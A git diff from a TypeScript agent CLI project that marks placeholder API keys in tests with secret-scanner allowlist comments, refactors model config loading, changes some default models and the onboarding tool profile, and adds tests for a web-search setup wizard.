}, "anthropic:work": { type: "api_key", provider: "anthropic", - key: "sk-ant-api-0123456789abcdefghijklmnopqrstuvwxyz", + key: "sk-ant-api-0123456789abcdefghijklmnopqrstuvwxyz", // pragma: allowlist secret }, "openai-codex:default": { type: "oauth", @@ -49,13 +49,13 @@ const mocks = vi.hoisted(() => { resolveEnvApiKey: vi.fn((provider: string) => { if (provider === "openai") { return { - apiKey: "sk-openai-0123456789abcdefghijklmnopqrstuvwxyz", + apiKey: "sk-openai-0123456789abcdefghijklmnopqrstuvwxyz", // pragma: allowlist secret source: "shell env: OPENAI_API_KEY", }; } if (provider === "anthropic") { return { - apiKey: "sk-ant-oat01-ACCESS-TOKEN-1234567890", + apiKey: "sk-ant-oat01-ACCESS-TOKEN-1234567890", // pragma: allowlist secret source: "env: ANTHROPIC_OAUTH_TOKEN", }; } @@ -231,7 +231,7 @@ describe("modelsStatusCommand auth overview", () => { it("does not emit raw short api-key values in JSON labels", async () => { const localRuntime = createRuntime(); - const shortSecret = "abc123"; + const shortSecret = "abc123"; // pragma: allowlist secret const originalProfiles = { ...mocks.store.profiles }; mocks.store.profiles = { ...mocks.store.profiles, diff --git a/src/commands/models/load-config.test.ts b/src/commands/models/load-config.test.ts new file mode 100644 index 00000000000..b8969fd4681 --- /dev/null +++ b/src/commands/models/load-config.test.ts @@ -0,0 +1,103 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mocks = vi.hoisted(() => ({ + loadConfig: vi.fn(), + readConfigFileSnapshotForWrite: vi.fn(), + setRuntimeConfigSnapshot: vi.fn(), + resolveCommandSecretRefsViaGateway: vi.fn(), + getModelsCommandSecretTargetIds: vi.fn(), +})); + +vi.mock("../../config/config.js", () => ({ + loadConfig: mocks.loadConfig, + readConfigFileSnapshotForWrite: mocks.readConfigFileSnapshotForWrite, + setRuntimeConfigSnapshot: mocks.setRuntimeConfigSnapshot, +})); + +vi.mock("../../cli/command-secret-gateway.js", () => ({ + resolveCommandSecretRefsViaGateway: mocks.resolveCommandSecretRefsViaGateway, +})); + +vi.mock("../../cli/command-secret-targets.js", () => ({ + getModelsCommandSecretTargetIds: mocks.getModelsCommandSecretTargetIds, +})); + +import { loadModelsConfig, loadModelsConfigWithSource } from "./load-config.js"; + +describe("models load-config", () => { + beforeEach(() => { + vi.clearAllMocks(); + }); + + it("returns source+resolved configs and sets runtime snapshot", async () => { + const sourceConfig = { + models: { + providers: { + openai: { + apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, // pragma: allowlist secret + }, + }, + }, + }; + const runtimeConfig = { + models: { providers: { openai: { apiKey: "sk-runtime" } } }, // pragma: allowlist secret + }; + const resolvedConfig = { + models: { providers: { openai: { apiKey: "sk-resolved" } } }, // pragma: allowlist secret + }; + const targetIds = new Set(["models.providers.*.apiKey"]); + const runtime = { log: vi.fn(), error: vi.fn(), exit: vi.fn() }; + + mocks.loadConfig.mockReturnValue(runtimeConfig); + mocks.readConfigFileSnapshotForWrite.mockResolvedValue({ + snapshot: { valid: true, resolved: sourceConfig }, + writeOptions: {}, + }); + mocks.getModelsCommandSecretTargetIds.mockReturnValue(targetIds); + mocks.resolveCommandSecretRefsViaGateway.mockResolvedValue({ + resolvedConfig, + diagnostics: ["diag-one", "diag-two"], + }); + + const result = await loadModelsConfigWithSource({ commandName: "models list", runtime }); + + expect(mocks.resolveCommandSecretRefsViaGateway).toHaveBeenCalledWith({ + config: runtimeConfig, + commandName: "models list", + targetIds, + }); + expect(mocks.setRuntimeConfigSnapshot).toHaveBeenCalledWith(resolvedConfig, sourceConfig); + expect(runtime.log).toHaveBeenNthCalledWith(1, "[secrets] diag-one"); + expect(runtime.log).toHaveBeenNthCalledWith(2, "[secrets] diag-two"); + expect(result).toEqual({ + sourceConfig, + resolvedConfig, + diagnostics: ["diag-one", "diag-two"], + }); + }); + + it("loadModelsConfig returns resolved config while preserving runtime snapshot behavior", async () => { + const sourceConfig = { models: { providers: {} } }; + const runtimeConfig = { + models: { providers: { openai: { apiKey: "sk-runtime" } } }, // pragma: allowlist secret + }; + const resolvedConfig = { + models: { providers: { openai: { apiKey: "sk-resolved" } } }, // pragma: allowlist secret + }; + const targetIds = new Set(["models.providers.*.apiKey"]); + + mocks.loadConfig.mockReturnValue(runtimeConfig); + mocks.readConfigFileSnapshotForWrite.mockResolvedValue({ + snapshot: { valid: true, resolved: sourceConfig }, + writeOptions: {}, + }); + mocks.getModelsCommandSecretTargetIds.mockReturnValue(targetIds); + mocks.resolveCommandSecretRefsViaGateway.mockResolvedValue({ + resolvedConfig, + diagnostics: [], + }); + + await expect(loadModelsConfig({ commandName: "models list" })).resolves.toBe(resolvedConfig); + expect(mocks.setRuntimeConfigSnapshot).toHaveBeenCalledWith(resolvedConfig, sourceConfig); + }); +}); diff --git a/src/commands/models/load-config.ts b/src/commands/models/load-config.ts index ead48fa8b8a..854cd5240da 100644 --- a/src/commands/models/load-config.ts +++ b/src/commands/models/load-config.ts @@ -1,15 +1,39 @@ import { resolveCommandSecretRefsViaGateway } from "../../cli/command-secret-gateway.js"; import { getModelsCommandSecretTargetIds } from "../../cli/command-secret-targets.js"; -import { loadConfig, type OpenClawConfig } from "../../config/config.js"; +import { + loadConfig, + readConfigFileSnapshotForWrite, + setRuntimeConfigSnapshot, + type OpenClawConfig, +} from "../../config/config.js"; import type { RuntimeEnv } from "../../runtime.js"; -export async function loadModelsConfig(params: { +export type LoadedModelsConfig = { + sourceConfig: OpenClawConfig; + resolvedConfig: OpenClawConfig; + diagnostics: string[]; +}; + +async function loadSourceConfigSnapshot(fallback: OpenClawConfig): Promise { + try { + const { snapshot } = await readConfigFileSnapshotForWrite(); + if (snapshot.valid) { + return snapshot.resolved; + } + } catch { + // Fall back to runtime-loaded config if source snapshot cannot be read. + } + return fallback; +} + +export async function loadModelsConfigWithSource(params: { commandName: string; runtime?: RuntimeEnv; -}): Promise { - const loadedRaw = loadConfig(); +}): Promise { + const runtimeConfig = loadConfig(); + const sourceConfig = await loadSourceConfigSnapshot(runtimeConfig); const { resolvedConfig, diagnostics } = await resolveCommandSecretRefsViaGateway({ - config: loadedRaw, + config: runtimeConfig, commandName: params.commandName, targetIds: getModelsCommandSecretTargetIds(), }); @@ -18,5 +42,17 @@ export async function loadModelsConfig(params: { params.runtime.log(`[secrets] ${entry}`); } } - return resolvedConfig; + setRuntimeConfigSnapshot(resolvedConfig, sourceConfig); + return { + sourceConfig, + resolvedConfig, + diagnostics, + }; +} + +export async function loadModelsConfig(params: { + commandName: string; + runtime?: RuntimeEnv; +}): Promise { + return (await loadModelsConfigWithSource(params)).resolvedConfig; } diff --git a/src/commands/onboard-auth.config-core.kilocode.test.ts b/src/commands/onboard-auth.config-core.kilocode.test.ts index 38dc802492f..82faf85c8f0 100644 --- a/src/commands/onboard-auth.config-core.kilocode.test.ts +++ b/src/commands/onboard-auth.config-core.kilocode.test.ts @@ -21,17 +21,7 @@ import { } from "./onboard-auth.models.js"; const emptyCfg: OpenClawConfig = {}; -const KILOCODE_MODEL_IDS = [ - "anthropic/claude-opus-4.6", - "z-ai/glm-5:free", - "minimax/minimax-m2.5:free", - "anthropic/claude-sonnet-4.5", - "openai/gpt-5.2", - "google/gemini-3-pro-preview", - "google/gemini-3-flash-preview", - "x-ai/grok-code-fast-1", - "moonshotai/kimi-k2.5", -]; +const KILOCODE_MODEL_IDS = ["kilo/auto"]; describe("Kilo Gateway provider config", () => { describe("constants", () => { @@ -40,11 +30,11 @@ describe("Kilo Gateway provider config", () => { }); it("KILOCODE_DEFAULT_MODEL_REF includes provider prefix", () => { - expect(KILOCODE_DEFAULT_MODEL_REF).toBe("kilocode/anthropic/claude-opus-4.6"); + expect(KILOCODE_DEFAULT_MODEL_REF).toBe("kilocode/kilo/auto"); }); - it("KILOCODE_DEFAULT_MODEL_ID is anthropic/claude-opus-4.6", () => { - expect(KILOCODE_DEFAULT_MODEL_ID).toBe("anthropic/claude-opus-4.6"); + it("KILOCODE_DEFAULT_MODEL_ID is kilo/auto", () => { + expect(KILOCODE_DEFAULT_MODEL_ID).toBe("kilo/auto"); }); }); @@ -52,7 +42,7 @@ describe("Kilo Gateway provider config", () => { it("returns correct model shape", () => { const model = buildKilocodeModelDefinition(); expect(model.id).toBe(KILOCODE_DEFAULT_MODEL_ID); - expect(model.name).toBe("Claude Opus 4.6"); + expect(model.name).toBe("Kilo Auto"); expect(model.reasoning).toBe(true); expect(model.input).toEqual(["text", "image"]); expect(model.contextWindow).toBe(KILOCODE_DEFAULT_CONTEXT_WINDOW); @@ -160,7 +150,7 @@ describe("Kilo Gateway provider config", () => { describe("env var resolution", () => { it("resolves KILOCODE_API_KEY from env", () => { const envSnapshot = captureEnv(["KILOCODE_API_KEY"]); - process.env.KILOCODE_API_KEY = "test-kilo-key"; + process.env.KILOCODE_API_KEY = "test-kilo-key"; // pragma: allowlist secret try { const result = resolveEnvApiKey("kilocode"); @@ -187,7 +177,7 @@ describe("Kilo Gateway provider config", () => { it("resolves the kilocode api key via resolveApiKeyForProvider", async () => { const agentDir = mkdtempSync(join(tmpdir(), "openclaw-test-")); const envSnapshot = captureEnv(["KILOCODE_API_KEY"]); - process.env.KILOCODE_API_KEY = "kilo-provider-test-key"; + process.env.KILOCODE_API_KEY = "kilo-provider-test-key"; // pragma: allowlist secret try { const auth = await resolveApiKeyForProvider({ diff --git a/src/commands/onboard-auth.config-core.ts b/src/commands/onboard-auth.config-core.ts index 18d106c7d7f..103343d5914 100644 --- a/src/commands/onboard-auth.config-core.ts +++ b/src/commands/onboard-auth.config-core.ts @@ -305,7 +305,7 @@ export function applyVeniceProviderConfig(cfg: OpenClawConfig): OpenClawConfig { const models = { ...cfg.agents?.defaults?.models }; models[VENICE_DEFAULT_MODEL_REF] = { ...models[VENICE_DEFAULT_MODEL_REF], - alias: models[VENICE_DEFAULT_MODEL_REF]?.alias ?? "Llama 3.3 70B", + alias: models[VENICE_DEFAULT_MODEL_REF]?.alias ?? "Kimi K2.5", }; const veniceModels = VENICE_MODEL_CATALOG.map(buildVeniceModelDefinition); diff --git a/src/commands/onboard-auth.credentials.test.ts b/src/commands/onboard-auth.credentials.test.ts index 94661933152..5ff2c57461d 100644 --- a/src/commands/onboard-auth.credentials.test.ts +++ b/src/commands/onboard-auth.credentials.test.ts @@ -94,7 +94,7 @@ describe("onboard auth credentials secret refs", () => { envValue: "sk-moonshot-env", profileId: "moonshot:default", apply: async (agentDir) => { - await setMoonshotApiKey("sk-moonshot-env", agentDir, { secretInputMode: "ref" }); + await setMoonshotApiKey("sk-moonshot-env", agentDir, { secretInputMode: "ref" }); // pragma: allowlist secret }, expected: { keyRef: { source: "env", provider: "default", id: "MOONSHOT_API_KEY" }, @@ -136,10 +136,10 @@ describe("onboard auth credentials secret refs", () => { it("preserves cloudflare metadata when storing keyRef", async () => { const env = await setupAuthTestEnv("openclaw-onboard-auth-credentials-cloudflare-"); lifecycle.setStateDir(env.stateDir); - process.env.CLOUDFLARE_AI_GATEWAY_API_KEY = "cf-secret"; + process.env.CLOUDFLARE_AI_GATEWAY_API_KEY = "cf-secret"; // pragma: allowlist secret await setCloudflareAiGatewayConfig("account-1", "gateway-1", "cf-secret", env.agentDir, { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }); const parsed = await readAuthProfilesForAgent<{ @@ -175,7 +175,7 @@ describe("onboard auth credentials secret refs", () => { envValue: "sk-openai-env", profileId: "openai:default", apply: async (agentDir) => { - await setOpenaiApiKey("sk-openai-env", agentDir, { secretInputMode: "ref" }); + await setOpenaiApiKey("sk-openai-env", agentDir, { secretInputMode: "ref" }); // pragma: allowlist secret }, expected: { keyRef: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, @@ -187,11 +187,11 @@ describe("onboard auth credentials secret refs", () => { it("stores env-backed volcengine and byteplus keys as keyRef in ref mode", async () => { const env = await setupAuthTestEnv("openclaw-onboard-auth-credentials-volc-byte-"); lifecycle.setStateDir(env.stateDir); - process.env.VOLCANO_ENGINE_API_KEY = "volcengine-secret"; - process.env.BYTEPLUS_API_KEY = "byteplus-secret"; + process.env.VOLCANO_ENGINE_API_KEY = "volcengine-secret"; // pragma: allowlist secret + process.env.BYTEPLUS_API_KEY = "byteplus-secret"; // pragma: allowlist secret - await setVolcengineApiKey("volcengine-secret", env.agentDir, { secretInputMode: "ref" }); - await setByteplusApiKey("byteplus-secret", env.agentDir, { secretInputMode: "ref" }); + await setVolcengineApiKey("volcengine-secret", env.agentDir, { secretInputMode: "ref" }); // pragma: allowlist secret + await setByteplusApiKey("byteplus-secret", env.agentDir, { secretInputMode: "ref" }); // pragma: allowlist secret const parsed = await readAuthProfilesForAgent<{ profiles?: Record; diff --git a/src/commands/onboard-auth.credentials.ts b/src/commands/onboard-auth.credentials.ts index 2cf9c25b689..c32a3ea9ae6 100644 --- a/src/commands/onboard-auth.credentials.ts +++ b/src/commands/onboard-auth.credentials.ts @@ -63,7 +63,8 @@ function resolveApiKeySecretInput( if (inlineEnvRef) { return inlineEnvRef; } - if (options?.secretInputMode === "ref") { + const useSecretRefMode = options?.secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { return resolveProviderDefaultEnvSecretRef(provider); } return normalized; diff --git a/src/commands/onboard-auth.test.ts b/src/commands/onboard-auth.test.ts index 3774c699da1..a79eb1d970a 100644 --- a/src/commands/onboard-auth.test.ts +++ b/src/commands/onboard-auth.test.ts @@ -420,7 +420,7 @@ describe("applyMinimaxApiConfig", () => { providers: { anthropic: { baseUrl: "https://api.anthropic.com", - apiKey: "anthropic-key", + apiKey: "anthropic-key", // pragma: allowlist secret api: "anthropic-messages", models: [ { diff --git a/src/commands/onboard-config.test.ts b/src/commands/onboard-config.test.ts index 076f98a02f1..c5997345fe7 100644 --- a/src/commands/onboard-config.test.ts +++ b/src/commands/onboard-config.test.ts @@ -7,6 +7,10 @@ import { } from "./onboard-config.js"; describe("applyOnboardingLocalWorkspaceConfig", () => { + it("defaults local onboarding tool profile to coding", () => { + expect(ONBOARDING_DEFAULT_TOOLS_PROFILE).toBe("coding"); + }); + it("sets secure dmScope default when unset", () => { const baseConfig: OpenClawConfig = {}; const result = applyOnboardingLocalWorkspaceConfig(baseConfig, "/tmp/workspace"); diff --git a/src/commands/onboard-config.ts b/src/commands/onboard-config.ts index f2ae8991141..62b1006283e 100644 --- a/src/commands/onboard-config.ts +++ b/src/commands/onboard-config.ts @@ -3,7 +3,7 @@ import type { DmScope } from "../config/types.base.js"; import type { ToolProfileId } from "../config/types.tools.js"; export const ONBOARDING_DEFAULT_DM_SCOPE: DmScope = "per-channel-peer"; -export const ONBOARDING_DEFAULT_TOOLS_PROFILE: ToolProfileId = "messaging"; +export const ONBOARDING_DEFAULT_TOOLS_PROFILE: ToolProfileId = "coding"; export function applyOnboardingLocalWorkspaceConfig( baseConfig: OpenClawConfig, diff --git a/src/commands/onboard-custom.test.ts b/src/commands/onboard-custom.test.ts index 374f188dc62..b04f7bc08ab 100644 --- a/src/commands/onboard-custom.test.ts +++ b/src/commands/onboard-custom.test.ts @@ -429,7 +429,7 @@ describe("parseNonInteractiveCustomApiFlags", () => { baseUrl: "https://llm.example.com/v1", modelId: "foo-large", compatibility: "openai", - apiKey: "custom-test-key", + apiKey: "custom-test-key", // pragma: allowlist secret providerId: "my-custom", }); }); diff --git a/src/commands/onboard-non-interactive.gateway.test.ts b/src/commands/onboard-non-interactive.gateway.test.ts index 1d9e8bc5881..c5d29a12177 100644 --- a/src/commands/onboard-non-interactive.gateway.test.ts +++ b/src/commands/onboard-non-interactive.gateway.test.ts @@ -145,7 +145,7 @@ describe("onboard (non-interactive): gateway and remote auth", () => { }>(configPath); expect(cfg?.agents?.defaults?.workspace).toBe(workspace); - expect(cfg?.tools?.profile).toBe("messaging"); + expect(cfg?.tools?.profile).toBe("coding"); expect(cfg?.gateway?.auth?.mode).toBe("token"); expect(cfg?.gateway?.auth?.token).toBe(token); }); diff --git a/src/commands/onboard-non-interactive.provider-auth.test.ts b/src/commands/onboard-non-interactive.provider-auth.test.ts index 077b2c6d672..390d19b0154 100644 --- a/src/commands/onboard-non-interactive.provider-auth.test.ts +++ b/src/commands/onboard-non-interactive.provider-auth.test.ts @@ -184,7 +184,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-minimax-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "minimax-api", - minimaxApiKey: "sk-minimax-test", + minimaxApiKey: "sk-minimax-test", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["minimax:default"]?.provider).toBe("minimax"); @@ -203,7 +203,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-minimax-cn-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "minimax-api-key-cn", - minimaxApiKey: "sk-minimax-test", + minimaxApiKey: "sk-minimax-test", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["minimax-cn:default"]?.provider).toBe("minimax-cn"); @@ -222,7 +222,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-zai-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "zai-api-key", - zaiApiKey: "zai-test-key", + zaiApiKey: "zai-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["zai:default"]?.provider).toBe("zai"); @@ -237,7 +237,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-zai-cn-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "zai-coding-cn", - zaiApiKey: "zai-test-key", + zaiApiKey: "zai-test-key", // pragma: allowlist secret }); expect(cfg.models?.providers?.zai?.baseUrl).toBe( @@ -264,7 +264,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers Mistral auth choice from --mistral-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-mistral-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - mistralApiKey: "mistral-test-key", + mistralApiKey: "mistral-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["mistral:default"]?.provider).toBe("mistral"); @@ -282,7 +282,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-volcengine-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "volcengine-api-key", - volcengineApiKey: "volcengine-test-key", + volcengineApiKey: "volcengine-test-key", // pragma: allowlist secret }); expect(cfg.agents?.defaults?.model?.primary).toBe("volcengine-plan/ark-code-latest"); @@ -292,7 +292,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers BytePlus auth choice from --byteplus-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-byteplus-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - byteplusApiKey: "byteplus-test-key", + byteplusApiKey: "byteplus-test-key", // pragma: allowlist secret }); expect(cfg.agents?.defaults?.model?.primary).toBe("byteplus-plan/ark-code-latest"); @@ -303,7 +303,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-ai-gateway-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "ai-gateway-api-key", - aiGatewayApiKey: "gateway-test-key", + aiGatewayApiKey: "gateway-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["vercel-ai-gateway:default"]?.provider).toBe("vercel-ai-gateway"); @@ -350,7 +350,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-openai-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "openai-api-key", - openaiApiKey: "sk-openai-test", + openaiApiKey: "sk-openai-test", // pragma: allowlist secret }); expect(cfg.agents?.defaults?.model?.primary).toBe(OPENAI_DEFAULT_MODEL); @@ -410,10 +410,10 @@ describe("onboard (non-interactive): provider auth", () => { "fails fast for $name when --secret-input-mode ref uses explicit key without env and does not leak the key", async ({ prefix, authChoice, optionKey, flagName, envVar }) => { await withOnboardEnv(prefix, async ({ runtime }) => { - const providedSecret = `${envVar.toLowerCase()}-should-not-leak`; + const providedSecret = `${envVar.toLowerCase()}-should-not-leak`; // pragma: allowlist secret const options: Record = { authChoice, - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret [optionKey]: providedSecret, skipSkills: true, }; @@ -447,12 +447,12 @@ describe("onboard (non-interactive): provider auth", () => { await withEnvAsync( { OPENCODE_API_KEY: undefined, - OPENCODE_ZEN_API_KEY: "opencode-zen-env-key", + OPENCODE_ZEN_API_KEY: "opencode-zen-env-key", // pragma: allowlist secret }, async () => { await runNonInteractiveOnboardingWithDefaults(runtime, { authChoice: "opencode-zen", - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret skipSkills: true, }); @@ -487,7 +487,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv("openclaw-onboard-litellm-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { authChoice: "litellm-api-key", - litellmApiKey: "litellm-test-key", + litellmApiKey: "litellm-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["litellm:default"]?.provider).toBe("litellm"); @@ -519,7 +519,7 @@ describe("onboard (non-interactive): provider auth", () => { await runNonInteractiveOnboardingWithDefaults(runtime, { cloudflareAiGatewayAccountId: "cf-account-id", cloudflareAiGatewayGatewayId: "cf-gateway-id", - cloudflareAiGatewayApiKey: "cf-gateway-test-key", + cloudflareAiGatewayApiKey: "cf-gateway-test-key", // pragma: allowlist secret skipSkills: true, ...options, }); @@ -543,7 +543,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers Together auth choice from --together-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-together-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - togetherApiKey: "together-test-key", + togetherApiKey: "together-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["together:default"]?.provider).toBe("together"); @@ -560,7 +560,7 @@ describe("onboard (non-interactive): provider auth", () => { it("infers QIANFAN auth choice from --qianfan-api-key and sets default model", async () => { await withOnboardEnv("openclaw-onboard-qianfan-infer-", async (env) => { const cfg = await runOnboardingAndReadConfig(env, { - qianfanApiKey: "qianfan-test-key", + qianfanApiKey: "qianfan-test-key", // pragma: allowlist secret }); expect(cfg.auth?.profiles?.["qianfan:default"]?.provider).toBe("qianfan"); @@ -579,7 +579,7 @@ describe("onboard (non-interactive): provider auth", () => { await runNonInteractiveOnboardingWithDefaults(runtime, { authChoice: "custom-api-key", customBaseUrl: "https://llm.example.com/v1", - customApiKey: "custom-test-key", + customApiKey: "custom-test-key", // pragma: allowlist secret customModelId: "foo-large", customCompatibility: "anthropic", skipSkills: true, @@ -603,7 +603,7 @@ describe("onboard (non-interactive): provider auth", () => { await runNonInteractiveOnboardingWithDefaults(runtime, { customBaseUrl: "https://models.custom.local/v1", customModelId: "local-large", - customApiKey: "custom-test-key", + customApiKey: "custom-test-key", // pragma: allowlist secret skipSkills: true, }); @@ -624,7 +624,7 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv( "openclaw-onboard-custom-provider-env-fallback-", async ({ configPath, runtime }) => { - process.env.CUSTOM_API_KEY = "custom-env-key"; + process.env.CUSTOM_API_KEY = "custom-env-key"; // pragma: allowlist secret await runCustomLocalNonInteractive(runtime); expect(await readCustomLocalProviderApiKey(configPath)).toBe("custom-env-key"); }, @@ -635,9 +635,9 @@ describe("onboard (non-interactive): provider auth", () => { await withOnboardEnv( "openclaw-onboard-custom-provider-env-ref-", async ({ configPath, runtime }) => { - process.env.CUSTOM_API_KEY = "custom-env-key"; + process.env.CUSTOM_API_KEY = "custom-env-key"; // pragma: allowlist secret await runCustomLocalNonInteractive(runtime, { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret }); expect(await readCustomLocalProviderApiKeyInput(configPath)).toEqual({ source: "env", @@ -650,12 +650,12 @@ describe("onboard (non-interactive): provider auth", () => { it("fails fast for custom provider ref mode when --custom-api-key is set but CUSTOM_API_KEY env is missing", async () => { await withOnboardEnv("openclaw-onboard-custom-provider-ref-flag-", async ({ runtime }) => { - const providedSecret = "custom-inline-key-should-not-leak"; + const providedSecret = "custom-inline-key-should-not-leak"; // pragma: allowlist secret await withEnvAsync({ CUSTOM_API_KEY: undefined }, async () => { let thrown: Error | undefined; try { await runCustomLocalNonInteractive(runtime, { - secretInputMode: "ref", + secretInputMode: "ref", // pragma: allowlist secret customApiKey: providedSecret, }); } catch (error) { @@ -731,7 +731,7 @@ describe("onboard (non-interactive): provider auth", () => { async ({ runtime }) => { await expect( runNonInteractiveOnboardingWithDefaults(runtime, { - customApiKey: "custom-test-key", + customApiKey: "custom-test-key", // pragma: allowlist secret skipSkills: true, }), ).rejects.toThrow('Auth choice "custom-api-key" requires a base URL and model ID.'); diff --git a/src/commands/onboard-non-interactive/api-keys.ts b/src/commands/onboard-non-interactive/api-keys.ts index e55943e22d5..1ee88e678dd 100644 --- a/src/commands/onboard-non-interactive/api-keys.ts +++ b/src/commands/onboard-non-interactive/api-keys.ts @@ -70,7 +70,8 @@ export async function resolveNonInteractiveApiKey(params: { const resolvedEnvKey = envResolved?.apiKey ?? explicitEnvKey; const resolvedEnvVarName = parseEnvVarNameFromSourceLabel(envResolved?.source) ?? explicitEnvVar; - if (params.secretInputMode === "ref") { + const useSecretRefMode = params.secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { if (!resolvedEnvKey && flagKey) { params.runtime.error( [ diff --git a/src/commands/onboard-non-interactive/local/auth-choice.ts b/src/commands/onboard-non-interactive/local/auth-choice.ts index 88710fa1b63..98eef51dd20 100644 --- a/src/commands/onboard-non-interactive/local/auth-choice.ts +++ b/src/commands/onboard-non-interactive/local/auth-choice.ts @@ -91,7 +91,8 @@ export async function applyNonInteractiveAuthChoice(params: { ? { secretInputMode: requestedSecretInputMode } : undefined; const toStoredSecretInput = (resolved: ResolvedNonInteractiveApiKey): SecretInput | null => { - if (requestedSecretInputMode !== "ref") { + const storePlaintextSecret = requestedSecretInputMode !== "ref"; // pragma: allowlist secret + if (storePlaintextSecret) { return resolved.key; } if (resolved.source !== "env") { @@ -948,7 +949,8 @@ export async function applyNonInteractiveAuthChoice(params: { }); let customApiKeyInput: SecretInput | undefined; if (resolvedCustomApiKey) { - if (requestedSecretInputMode === "ref") { + const storeCustomApiKeyAsRef = requestedSecretInputMode === "ref"; // pragma: allowlist secret + if (storeCustomApiKeyAsRef) { const stored = toStoredSecretInput(resolvedCustomApiKey); if (!stored) { return null; diff --git a/src/commands/onboard-search.test.ts b/src/commands/onboard-search.test.ts new file mode 100644 index 00000000000..69995eef3d7 --- /dev/null +++ b/src/commands/onboard-search.test.ts @@ -0,0 +1,291 @@ +import { describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import type { RuntimeEnv } from "../runtime.js"; +import type { WizardPrompter } from "../wizard/prompts.js"; +import { SEARCH_PROVIDER_OPTIONS, setupSearch } from "./onboard-search.js"; + +const runtime: RuntimeEnv = { + log: vi.fn(), + error: vi.fn(), + exit: ((code: number) => { + throw new Error(`unexpected exit ${code}`); + }) as RuntimeEnv["exit"], +}; + +function createPrompter(params: { selectValue?: string; textValue?: string }): { + prompter: WizardPrompter; + notes: Array<{ title?: string; message: string }>; +} { + const notes: Array<{ title?: string; message: string }> = []; + const prompter: WizardPrompter = { + intro: vi.fn(async () => {}), + outro: vi.fn(async () => {}), + note: vi.fn(async (message: string, title?: string) => { + notes.push({ title, message }); + }), + select: vi.fn( + async () => params.selectValue ?? "perplexity", + ) as unknown as WizardPrompter["select"], + multiselect: vi.fn(async () => []) as unknown as WizardPrompter["multiselect"], + text: vi.fn(async () => params.textValue ?? ""), + confirm: vi.fn(async () => true), + progress: vi.fn(() => ({ update: vi.fn(), stop: vi.fn() })), + }; + return { prompter, notes }; +} + +function createPerplexityConfig(apiKey: string, enabled?: boolean): OpenClawConfig { + return { + tools: { + web: { + search: { + provider: "perplexity", + ...(enabled === undefined ? {} : { enabled }), + perplexity: { apiKey }, + }, + }, + }, + }; +} + +async function runBlankPerplexityKeyEntry( + apiKey: string, + enabled?: boolean, +): Promise { + const cfg = createPerplexityConfig(apiKey, enabled); + const { prompter } = createPrompter({ + selectValue: "perplexity", + textValue: "", + }); + return setupSearch(cfg, runtime, prompter); +} + +async function runQuickstartPerplexitySetup( + apiKey: string, + enabled?: boolean, +): Promise<{ result: OpenClawConfig; prompter: WizardPrompter }> { + const cfg = createPerplexityConfig(apiKey, enabled); + const { prompter } = createPrompter({ selectValue: "perplexity" }); + const result = await setupSearch(cfg, runtime, prompter, { + quickstartDefaults: true, + }); + return { result, prompter }; +} + +describe("setupSearch", () => { + it("returns config unchanged when user skips", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "__skip__" }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result).toBe(cfg); + }); + + it("sets provider and key for perplexity", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "perplexity", + textValue: "pplx-test-key", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("pplx-test-key"); + expect(result.tools?.web?.search?.enabled).toBe(true); + }); + + it("sets provider and key for brave", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "brave", + textValue: "BSA-test-key", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.enabled).toBe(true); + 